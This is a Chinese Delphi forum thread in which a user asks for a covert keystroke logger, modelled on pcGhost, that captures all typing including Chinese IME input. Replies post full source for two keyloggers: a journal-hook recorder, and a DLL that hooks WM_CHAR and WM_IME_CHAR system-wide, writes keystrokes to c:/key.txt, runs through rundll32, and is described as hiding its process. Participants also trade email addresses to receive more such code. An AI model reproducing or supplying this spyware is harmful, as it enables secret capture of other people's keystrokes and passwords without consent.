高分请教如何在Win9x/NT/2000平台记录键盘所有动作(包括汉字输入),象pcGhost,不要带DLL的(300分)

  • 主题发起人 主题发起人 深海
  • 开始时间 开始时间

深海

Unregistered / Unconfirmed
GUEST, unregistred user!
在Win9x/NT/2000平台记录键盘所有动作(包括汉字输入),象pcGhost,
有个keyspy之类的控件,不过好像只能是在win9x下使用 ……
以前有人说是访问系统的键盘缓冲区,当找不到相关资料 ……
希望编写后得到的只有一个可执行文件,不要带DLL,如果有源程序最好!
 
用hook可能解决
请使用关键词 hook 进行搜索
 
日志钩子就行
 
pcghost这么受大家的欢迎,谢谢!
 
能不能给点源码啊?
主要是要能记录输入的汉字 ……
谢谢
 
以前有过答案的,请看LID:485812
 
To lww:C++ Builder写的,看不懂,有没有Delphi的?呵呵

To sunstone:pcghost中是怎么记录输入的汉字?DFW上面有关Hook的好像就记录键盘上
面有的,比如“中国”记录成了“zhongguo”,用什么办法解决呢?要求要能在9x/NT/2000
平台上面都可以运行的。请教了!
 
啊?怎么就没有动静了?
请教啊 ……
 
Applications may use hooks to:
……
Provide mouse and keystroke record and playback features, often referred to as
macros. For example, the Windows Recorder accessory program uses hooks to supply
record and playback functionality (WH_JOURNALRECORD, WH_JOURNALPLAYBACK).
……

如果用上面说到的两个Hook的话,不带DLL基本上是不可能了,因为WH_JOURNALRECORD,
WH_JOURNALPLAYBACK是全局钩子(Global Hook),只能写成DLL
 
使不使用DLL现在倒是其次了,最主要的是如何记录用户输入的汉字!
 
还要不要答案?
一:不要DLL但是只能记录英文
二:带DLL,中英皆可.
给你代码.
 
肯定要用dll才能进入别的进程
 
不用DLL的:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
ListBox1: TListBox;
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
function Keyhookresult(lP: integer; wP: integer): pchar;
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hookkey: string;
hooktimes: word;
hHook: integer;
implementation
{$R *.DFM}

function TForm1.Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '[Print Screen]';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '/';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '
';
19751: result := '
';
7181: result := '[Enter]';
end;
end;

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
hookkey := hookkey+ Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if length(hookkey) > 55 then
begin
Form1.ListBox1.Items.Add(hookkey);
hookkey := TimeToStr(now) + ' ';
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
hooktimes := 0;
hHook := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
inc(hooktimes);
if hooktimes = 1 then
begin
hookkey := TimeToStr(now) + ' ';
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
MessageBox(0, '键盘监视启动', '信息', MB_ICONINFORMATION + MB_OK);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook := 0;
if hooktimes <> 0 then
begin
MessageBox(0, '键盘监视关闭', '信息', MB_ICONINFORMATION + MB_OK);
end;
hooktimes := 0;
end;

end.​
 
上面的是英文监控的,不用DLL
写一个DLL过滤wm_char,和wm_ime_char消息,就能得到键盘输入的任何字中英文字符.
 
这里就有一个代码,注意:有BUG,所以只可运行一次.除非重新启动.
这个好像是隐藏进程的例子,运行后只看到RUNDLL32.exe而看不到Getkey.dll,再跳一下就彻底
隐藏,用进程管理软件也看不出来.
其实这个把自己挂到别的进程空间里运行而隐藏自己的方法最早是BO2K小组成员提出来的,
现在国内很多软件开始用它了,象那个什么"网络实名",你比较难删除它.
我想起<<赌神>>里面的一句话:你用的液晶是美国两年前落后产品.呵呵.可爱的体制教育,
你只能培养出垃圾,所以老在别人后面跑.

{本程序能过滤wm_char,和wm_ime_char消息,所以能得到键盘输入的任何字中英文字符,
结果存在C;/key.txt中,使用方法为:
rundll32 GetKey.dll,run
}

library GetKey;

uses windows,messages,sysutils;

{$r *.res}

const

HookMemFileName='HookMemFile.DTA';

type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;

procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:/key.txt');
if fileexists('c:/key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;

procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
inc(shared^.count,2);
end;
end;

function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;

procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;

exports run;

begin
//建立内存映象文件,用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.
 
To:jingtao

太好了!

那如果可以使用dll,但不要有BUG,有吗?
这方面我也不太懂 ……

下次就给加分了,再请教一下了!
 
把地址留下来我发给你
其实可以做成不要DLL的
快点我的包月就快到了,
就没的上了
 
太好了

我的mail是session@263.net
 
给我一份好啦!
hujunyi@263.net
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
后退
顶部